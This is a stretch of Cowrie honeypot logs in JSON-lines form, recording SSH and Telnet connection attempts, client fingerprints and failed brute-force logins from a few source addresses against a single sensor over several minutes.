{"eventid":"cowrie.login.failed","username":"user1","password":"user11","message":"login attempt [user1/user11] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:06:42.987739Z","src_ip":"88.205.172.170","session":"c0f3893cbabe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:06:44.149006Z","src_ip":"88.205.172.170","session":"c0f3893cbabe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":41258,"dst_ip":"10.17.0.5","dst_port":23,"session":"15ac4760320e","protocol":"telnet","message":"New connection: 104.245.105.2:41258 (10.17.0.5:23) [session: 15ac4760320e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:06:52.008576Z"}
{"eventid":"cowrie.session.closed","duration":31.00189471244812,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:06:57.506300Z","src_ip":"104.245.105.2","session":"ad9584f9360c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.6.69","src_port":42092,"dst_ip":"159.203.135.109","dst_port":22,"session":"cf4e544ebb9d","protocol":"ssh","message":"New connection: 165.154.6.69:42092 (159.203.135.109:22) [session: cf4e544ebb9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:07:02.254529Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:07:02.263264Z","src_ip":"165.154.6.69","session":"cf4e544ebb9d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:07:02.484408Z","src_ip":"165.154.6.69","session":"cf4e544ebb9d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test2","password":"111111","message":"login attempt [test2/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:07:03.398329Z","src_ip":"165.154.6.69","session":"cf4e544ebb9d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:07:04.624684Z","src_ip":"165.154.6.69","session":"cf4e544ebb9d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.10807776451111,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:07:26.116524Z","src_ip":"104.245.105.2","session":"15ac4760320e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"96.78.175.36","src_port":55710,"dst_ip":"10.17.0.5","dst_port":22,"session":"06d36bbd9d39","protocol":"ssh","message":"New connection: 96.78.175.36:55710 (10.17.0.5:22) [session: 06d36bbd9d39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:07:27.402014Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:07:27.419616Z","src_ip":"96.78.175.36","session":"06d36bbd9d39","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:07:27.504561Z","src_ip":"96.78.175.36","session":"06d36bbd9d39","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"yassine123","message":"login attempt [root/yassine123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:07:27.866448Z","src_ip":"96.78.175.36","session":"06d36bbd9d39","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:07:28.954999Z","src_ip":"96.78.175.36","session":"06d36bbd9d39","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":57014,"dst_ip":"10.17.0.5","dst_port":23,"session":"16c12bbb82b5","protocol":"telnet","message":"New connection: 104.245.105.2:57014 (10.17.0.5:23) [session: 16c12bbb82b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:07:48.808896Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.6.69","src_port":51122,"dst_ip":"159.203.135.109","dst_port":22,"session":"8cee6a8f6dca","protocol":"ssh","message":"New connection: 165.154.6.69:51122 (159.203.135.109:22) [session: 8cee6a8f6dca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:07:57.380456Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:07:57.384606Z","src_ip":"165.154.6.69","session":"8cee6a8f6dca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:07:57.596458Z","src_ip":"165.154.6.69","session":"8cee6a8f6dca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"p@sswOrd","message":"login attempt [root/p@sswOrd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:07:58.473165Z","src_ip":"165.154.6.69","session":"8cee6a8f6dca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:07:59.688876Z","src_ip":"165.154.6.69","session":"8cee6a8f6dca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":33836,"dst_ip":"10.17.0.5","dst_port":23,"session":"8ed49ddcf7b4","protocol":"telnet","message":"New connection: 104.245.105.2:33836 (10.17.0.5:23) [session: 8ed49ddcf7b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:08:04.808429Z"}
{"eventid":"cowrie.session.connect","src_ip":"96.78.175.36","src_port":56690,"dst_ip":"10.17.0.5","dst_port":22,"session":"ba65d349b58a","protocol":"ssh","message":"New connection: 96.78.175.36:56690 (10.17.0.5:22) [session: ba65d349b58a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:08:20.025998Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:08:20.034562Z","src_ip":"96.78.175.36","session":"ba65d349b58a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:08:20.120768Z","src_ip":"96.78.175.36","session":"ba65d349b58a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"google10","message":"login attempt [root/google10] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:08:20.480798Z","src_ip":"96.78.175.36","session":"ba65d349b58a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.71589159965515,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:08:20.524669Z","src_ip":"104.245.105.2","session":"16c12bbb82b5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:08:21.581569Z","src_ip":"96.78.175.36","session":"ba65d349b58a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.10314416885376,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:08:35.911424Z","src_ip":"104.245.105.2","session":"8ed49ddcf7b4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":57222,"dst_ip":"10.17.0.5","dst_port":23,"session":"fdf6a2321a99","protocol":"telnet","message":"New connection: 104.245.105.2:57222 (10.17.0.5:23) [session: fdf6a2321a99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:08:36.808402Z"}
{"eventid":"cowrie.session.closed","duration":30.835442781448364,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:09:07.643727Z","src_ip":"104.245.105.2","session":"fdf6a2321a99","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"96.78.175.36","src_port":46436,"dst_ip":"10.17.0.5","dst_port":22,"session":"82d53a9dcc5a","protocol":"ssh","message":"New connection: 96.78.175.36:46436 (10.17.0.5:22) [session: 82d53a9dcc5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:09:13.476279Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:09:13.489198Z","src_ip":"96.78.175.36","session":"82d53a9dcc5a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:09:13.576066Z","src_ip":"96.78.175.36","session":"82d53a9dcc5a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"tester2025","message":"login attempt [root/tester2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:09:13.936591Z","src_ip":"96.78.175.36","session":"82d53a9dcc5a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:09:15.033014Z","src_ip":"96.78.175.36","session":"82d53a9dcc5a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"96.78.175.36","src_port":47986,"dst_ip":"10.17.0.5","dst_port":22,"session":"1765545117ba","protocol":"ssh","message":"New connection: 96.78.175.36:47986 (10.17.0.5:22) [session: 1765545117ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:10:06.982310Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:10:06.991244Z","src_ip":"96.78.175.36","session":"1765545117ba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:10:07.076663Z","src_ip":"96.78.175.36","session":"1765545117ba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"www.google.com","message":"login attempt [root/www.google.com] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:10:07.428536Z","src_ip":"96.78.175.36","session":"1765545117ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:10:08.524287Z","src_ip":"96.78.175.36","session":"1765545117ba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"88.205.172.170","src_port":34658,"dst_ip":"10.17.0.5","dst_port":22,"session":"c4fdd6cdd89b","protocol":"ssh","message":"New connection: 88.205.172.170:34658 (10.17.0.5:22) [session: c4fdd6cdd89b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:10:13.490257Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:10:13.495374Z","src_ip":"88.205.172.170","session":"c4fdd6cdd89b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:10:13.659930Z","src_ip":"88.205.172.170","session":"c4fdd6cdd89b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"server$321","message":"login attempt [root/server$321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:10:14.323658Z","src_ip":"88.205.172.170","session":"c4fdd6cdd89b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:10:15.485807Z","src_ip":"88.205.172.170","session":"c4fdd6cdd89b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.185.132.99","src_port":51434,"dst_ip":"159.203.135.109","dst_port":23,"session":"8cd81ff2220a","protocol":"telnet","message":"New connection: 147.185.132.99:51434 (159.203.135.109:23) [session: 8cd81ff2220a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:10:16.032033Z"}
{"eventid":"cowrie.session.closed","duration":31.75989556312561,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:10:47.791772Z","src_ip":"147.185.132.99","session":"8cd81ff2220a","protocol":"telnet"}
